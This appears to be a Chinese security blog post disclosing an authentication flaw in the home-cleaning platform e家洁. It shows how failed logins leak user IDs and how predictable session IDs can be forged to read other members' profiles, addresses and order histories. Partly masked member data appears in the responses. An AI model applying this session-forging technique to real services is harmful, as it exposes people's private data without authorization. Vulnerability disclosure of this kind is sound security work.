e家洁存在严重安全漏洞可导致所有会员泄密

  1、首先我们先了解一下e家洁是干什么的呢,原来是一家线上家政服务公司

e家洁存在严重安全漏洞可导致所有会员泄密

  2、首先用自己的账号和错误的密码登录,下面是登录的请求报文和响应报文

e家洁存在严重安全漏洞可导致所有会员泄密

  从下面的响应报文可以发现,虽然登录失败,但报文里返回了两个奇怪自段old_user_id和new_user_id,这个两个字段有什么用处呢,稍后你就明白了3、用自己的账号和正确的密码登录,并抓取其请求报文如下:

e家洁存在严重安全漏洞可导致所有会员泄密

  4、尝试查询自己的个人信息、历史订单、地址信息,由此可以推断出系统工具session_id区分客户的

e家洁存在严重安全漏洞可导致所有会员泄密

  根据以上session_id=dfc904a70bcc646e425617b695a7378d-47796448,可以发现Session的最后是一个数字串就是new_user_id字段,由此我们可以尝试以下攻击,第一步:使用任意手机号尝试登录,虽然登录失败,但服务器返回了new_user_id字段,因此可以所有会员的new_user_id字段第二步:伪造Session,获取其他会员的个人信息1、使用任意手机号尝试登录,获取其他会员的new_user_id(1)尝试手机号189××××8××4,获取new_user_id=48182262

e家洁存在严重安全漏洞可导致所有会员泄密

  (2)尝试土豪手机号18×××××××××,获取new_user_id=14512

e家洁存在严重安全漏洞可导致所有会员泄密

  4、伪造Session,获取其他会员的个人信息(1)使用session_id=dfc904a70bcc646e425617b695a7378d-48182262获取会员的个人信息

e家洁存在严重安全漏洞可导致所有会员泄密

  (2)使用session_id=dfc904a70bcc646e425617b695a7378d-14152获取会员的个人信息

e家洁存在严重安全漏洞可导致所有会员泄密

  (3)使用session_id=dfc904a70bcc646e425617b695a7378d-48182262获取会员的地址信息

e家洁存在严重安全漏洞可导致所有会员泄密

  Unicode转中文为:{“code”:”ok”,”msg”:{“address“:[{“city”:”北京”,”latitude”:”39.884578″,”longitude”:”116.624272″,”street”:”北京东旭花园”,”place_detail”:”×单元×01″,”address”:”北京东旭花园×单元×01″,”address_id”:”1629979″}],”alertMsg”:””}}(4)使用session_id=dfc904a70bcc646e425617b695a7378d-14152获取会员的地址信息

e家洁存在严重安全漏洞可导致所有会员泄密

  (5)使用session_id=dfc904a70bcc646e425617b695a7378d-48182262获取会员的订单信息

e家洁存在严重安全漏洞可导致所有会员泄密

  (6)使用session_id=dfc904a70bcc646e425617b695a7378d-14152获取会员的个人订单信息

e家洁存在严重安全漏洞可导致所有会员泄密

  Unicode转中文为:{“code”:”ok”,”msg”:{“orderList”:[{“extend_info”:”没有特殊需求”,”id”:”221674″,”service_type”:”4″,”place_detail”:”北京中南海”,”reserve_time”:”2014-04-19 08:00″,”status”:”-1″,”worker_list“:””,”create_time”:”2014-04-13 15:39:35″,”user_id”:”14512″,”is_paid”:”1″,”active_code_id”:”0″,”charge_reward_id”:”0″,”reserve_type_id”:”0″,”pop_channel”:”网站预约”,”order_id”:”221674″,”service_main”:”专业保洁”,”service_second”:”卫生间保洁”,”create_way”:””,”sub_order”:[],”order_status”:[“2014-04-13 15:39 订单已取消”],”complain_status”:[“2015-04-28 17:48:48 投诉成功”],”active_code”:””,”active_code_value”:”0″,”suggest_worked_time”:””},{“extend_info”:”没有特殊需求”,”id”:”90078″,”service_type”:”1″,”place_detail”:”朝阳湖”,”reserve_time”:”2013-11-21 07:00″,”status”:”-1″,”worker_list”:””,”create_time”:”2013-11-16 08:22:02″,”user_id”:”14512″,”is_paid”:”1″,”active_code_id”:”0″,”charge_reward_id”:”0″,”reserve_type_id”:”0″,”pop_channel”:”苹果app”,”order_id”:”90078″,”service_main”:”专业保洁”,”service_second”:”家庭保洁”,”create_way”:””,”sub_order”:[],”order_status”:[“2013-11-16 08:22 订单已取消”],”complain_status”:[“2015-04-28 17:48:48 投诉成功”],”active_code”:””,”active_code_value”:”0″,”suggest_worked_time”:””},{“extend_info”:”没有特殊需求”,”id”:”90077″,”service_type”:”1″,”place_detail”:”朝阳湖”,”reserve_time”:”2013-11-18 07:00″,”status”:”-1″,”worker_list”:””,”create_time”:”2013-11-16 08:21:38″,”user_id”:”14512″,”is_paid”:”1″,”active_code_id”:”0″,”charge_reward_id”:”0″,”reserve_type_id”:”0″,”pop_channel”:”苹果app”,”order_id”:”90077″,”service_main”:”专业保洁”,”service_second”:”家庭保洁”,”create_way”:””,”sub_order”:[],”order_status”:[“2013-11-16 08:21 订单已取消”],”complain_status”:[“2015-04-28 17:48:48 投诉成功”],”active_code”:””,”active_code_value”:”0″,”suggest_worked_time”:””},{“extend_info”:”没有特殊需求”,”id”:”90076″,”service_type”:”1″,”place_detail”:”朝阳湖”,”reserve_time”:”2013-11-18 07:00″,”status”:”-1″,”worker_list”:””,”create_time”:”2013-11-16 08:20:51″,”user_id”:”14512″,”is_paid”:”1″,”active_code_id”:”0″,”charge_reward_id”:”0″,”reserve_type_id”:”0″,”pop_channel”:”苹果app”,”order_id”:”90076″,”service_main”:”专业保洁”,”service_second”:”家庭保洁”,”create_way”:””,”sub_order”:[],”order_status”:[“2013-11-16 08:20 订单已取消”],”complain_status”:[“2015-04-28 17:48:48 投诉成功”],”active_code”:””,”active_code_value”:”0″,”suggest_worked_time”:””},{“extend_info”:”没有特殊需求”,”id”:”90074″,”service_type”:”1″,”place_detail”:”朝阳湖”,”reserve_time”:”2013-11-16 10:30″,”status”:”-1″,”worker_list”:””,”create_time”:”2013-11-16 08:19:02″,”user_id”:”14512″,”is_paid”:”1″,”active_code_id”:”0″,”charge_reward_id”:”0″,”reserve_type_id”:”0″,”pop_channel”:”苹果app”,”order_id”:”90074″,”service_main”:”专业保洁”,”service_second”:”家庭保洁”,”create_way”:””,”sub_order”:[],”order_status”:[“2013-11-16 08:19 订单已取消”],”complain_status”:[“2015-04-28 17:48:48 投诉成功”],”active_code”:””,”active_code_value”:”0″,”suggest_worked_time”:””},{“extend_info”:”没有特殊需求”,”id”:”90071″,”service_type”:”1″,”place_detail”:”朝阳湖”,”reserve_time”:”2013-11-16 10:30″,”status”:”-1″,”worker_list”:””,”create_time”:”2013-11-16 08:16:12″,”user_id”:”14512″,”is_paid”:”1″,”active_code_id”:”0″,”charge_reward_id”:”0″,”reserve_type_id”:”0″,”pop_channel”:”苹果app”,”order_id”:”90071″,”service_main”:”专业保洁”,”service_second”:”家庭保洁”,”create_way”:””,”sub_order”:[],”order_status”:[“2013-11-16 08:16 订单已取消”],”complain_status”:[“2015-04-28 17:48:48 投诉成功”],”active_code”:””,”active_code_value”:”0″,”suggest_worked_time”:””},{“extend_info”:”没有特殊需求”,”id”:”90069″,”service_type”:”1″,”place_detail”:”朝阳湖”,”reserve_time”:”2013-11-21 07:00″,”status”:”-1″,”worker_list”:””,”create_time”:”2013-11-16 08:14:49″,”user_id”:”14512″,”is_paid”:”1″,”active_code_id”:”0″,”charge_reward_id”:”0″,”reserve_type_id”:”0″,”pop_channel”:”苹果app”,”order_id”:”90069″,”service_main”:”专业保洁”,”service_second”:”家庭保洁”,”create_way”:””,”sub_order”:[],”order_status”:[“2013-11-16 08:14 订单已取消”],”complain_status”:[“2015-04-28 17:48:48 投诉成功”],”active_code”:””,”active_code_value”:”0″,”suggest_worked_time”:””},{“extend_info”:”客户号码空号”,”id”:”63452″,”service_type”:”1″,”place_detail”:”朝阳湖”,”reserve_time”:”2013-11-17 07:00″,”status”:”-1″,”worker_list”:””,”create_time”:”2013-11-15 10:03:28″,”user_id”:”14512″,”is_paid”:”1″,”active_code_id”:”0″,”charge_reward_id”:”0″,”reserve_type_id”:”0″,”pop_channel”:”苹果app”,”order_id”:”63452″,”service_main”:”专业保洁”,”service_second”:”家庭保洁”,”create_way”:””,”sub_order”:[],”order_status”:[“2013-11-15 10:03 订单已取消”],”complain_status”:[“2015-04-28 17:48:48 投诉成功”],”active_code”:””,”active_code_value”:”0″,”suggest_worked_time”:””},{“extend_info”:”已发短信,超出服务区”,”id”:”16031″,”service_type”:”2″,”place_detail”:”朝阳湖”,”reserve_time”:”2013-10-17 13:00″,”status”:”-1″,”worker_list”:””,”create_time”:”2013-10-16 05:02:50″,”user_id”:”14512″,”is_paid”:”1″,”active_code_id”:”0″,”charge_reward_id”:”0″,”reserve_type_id”:”0″,”pop_channel”:”苹果app”,”order_id”:”16031″,”service_main”:”专业保洁”,”service_second”:”新居开荒”,”create_way”:””,”sub_order”:[],”order_status”:[“2013-10-16 05:02 订单已取消”],”complain_status”:[“2015-04-28 17:48:48 投诉成功”],”active_code”:””,”active_code_value”:”0″,”suggest_worked_time”:””}],”workerList”:[],”alertMsg”:””,”pageNum”:”1″,”totalPage”:”1″,”totalNum”:”9″}}保洁还去中南海。。。。

  解决方案

  其实系统还存在另外一个问题,那就是不管什么时候登录,Session都一样

  1、不要使用可以推断出来的Session

  2、系统不管该会员什么时候登录,均使用同一个Session

发表评论